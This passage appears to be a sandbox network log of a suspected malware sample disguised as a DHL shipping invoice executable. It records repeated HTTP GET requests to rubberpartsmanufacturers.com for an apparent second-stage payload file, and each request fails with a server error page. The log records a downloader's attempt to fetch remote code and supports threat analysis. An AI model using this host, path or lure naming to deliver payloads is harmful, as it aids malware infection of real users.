2024-10-17 08:48:06 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
101	192.168.2.4	57050	103.191.208.122	443	7260	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:48:07 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:48:08 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:48:07 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:48:08 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
102	192.168.2.4	57051	103.191.208.122	443	7260	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:48:09 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:48:09 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:48:09 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:48:09 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
103	192.168.2.4	57052	103.191.208.122	443	7260	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:48:10 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:48:10 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:48:10 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:48:10 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
104	192.168.2.4	57054	103.191.208.122	443	7260	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:48:12 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:48:13 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:48:13 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:48:13 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
105	192.168.2.4	57055	103.191.208.122	443	7260	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:48:14 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:48:14 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:48:14 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:48:14 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
106	192.168.2.4	57056	103.191.208.122	443	7260	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:48:15 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:48:16 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:48:15 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:48:16 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
107	192.168.2.4	57057	103.191.208.122	443	7260	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:48:17 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:48:17 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:48:17 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:48:17 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
108	192.168.2.4	57058	103.191.208.122	443	7260	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:48:18 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:48:19 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:48:18 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:48:19 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
109	192.168.2.4	57059	103.191.208.122	443	7260	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:48:20 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:48:20 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:48:20 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:48:20 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
110	192.168.2.4	57060	103.191.208.122	443	7260	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:48:21 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:48:22 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:48:21 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:48:22 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
111	192.168.2.4	57061	103.191.208.122	443	7260	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:48:23 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:48:23 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:48:23 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:48:23 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
112	192.168.2.4	57062	103.191.208.122	443	7260	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:48:24 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:48:25 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:48:25 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:48:25 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
113	192.168.2.4	57063	103.191.208.122	443	7260	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:48:26 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:48:26 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:48:26 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:48:26 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
114	192.168.2.4	57064	103.191.208.122	443	7260	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:48:27 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:48:28 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:48:28 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:48:28 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
115	192.168.2.4	57065	103.191.208.122	443	7260	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:48:29 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
